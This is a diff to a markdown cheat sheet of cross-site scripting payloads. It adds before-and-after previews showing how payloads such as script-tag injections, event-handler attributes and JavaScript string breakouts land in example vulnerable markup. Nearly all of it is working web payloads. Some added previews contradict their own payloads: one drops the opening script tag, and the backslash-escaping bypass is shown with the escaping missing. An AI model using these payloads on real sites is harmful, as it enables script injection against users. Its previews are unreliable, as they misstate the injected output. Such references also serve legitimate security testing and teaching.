XSS [2]

Add 2 tips and add the preview of the source code after inputting the payloads

XSS.md

@@ -17,6 +17,11 @@
 <input id="keyword" type="text" name="q" value="REFLECTED_HERE">
 ```
 
+* After input the payload
+```html
+<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
+```
+
 3. Add --> to escape the payload if input lands in HTML comments.
 ```html
 --><script>alert(1)</script>
@@ -27,6 +32,11 @@
 <!-- REFLECTED_HERE --> 
 ```
 
+* After input the payload
+```html
+<!-- --><script>alert(1)</script> -->
+```
+
 4. Add </tag> when the input inside or between opening/closing tags, tag can be <a>,<title,<script> and any other HTML tags
 ```html
 </tag><script>alert(1)</script>
@@ -38,10 +48,15 @@
 <a class="item-pagination flex-c-m trans-0-4 active-pagination" href="https://target.com/1?status=REFLECTED_HERE">1</a>
 ```
 
+* After input the payload
+```html
+<a class="item-pagination flex-c-m trans-0-4 active-pagination" href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
+```
+
 5. Use when input inside an attribute’s value of an HTML tag but > is filtered
 ```html
-"onmouseover=alert(1)
-"autofocus onfocus=alert(1)
+" onmouseover=alert(1)
+" autofocus onfocus=alert(1)
 ```
 
 * Example source code
@@ -49,6 +64,11 @@
 <input id="keyword" type="text" name="q" value="REFLECTED_HERE">
 ```
 
+* After input the payload
+```html
+<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
+```
+
 6. Use </script> when input inside <script> tags
 ```html
 </script><script>alert(1)</script>
@@ -57,7 +77,54 @@
 * Example source code
 ```html
 <script>
-    var sitekey = "REFLECTED_HERE"
+    var sitekey = 'REFLECTED_HERE';
+</script>
+```
+
+* After input the payload
+```html
+<script>
+    var sitekey = '</script>alert(1)</script>';
+</script>
+```
+
+7. Use when input lands in a script block, inside a string delimited value.
+```html
+'-alert(1)-'
+'/alert(1)//
+```
+
+* Example source code
+```html
+<script>
+    var sitekey = 'REFLECTED_HERE';
+</script>
+```
+
+* After input the payload
+```html
+<script>
+    var sitekey = ''-alert(1)-'';
+</script>
+```
+
+8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.
+```html
+\'alert(1)//
+```
+
+* If we input payload '-alert(1)-' it will be like this
+```html
+<script>
+    var sitekey = '\'-alert(1)-\'';
+</script>
+```
+The quotes are escaped by a backslash so we need to bypass them
+
+* After input the payload
+```html
+<script>
+    var sitekey = '\'alert(1)//';
 </script>
 ```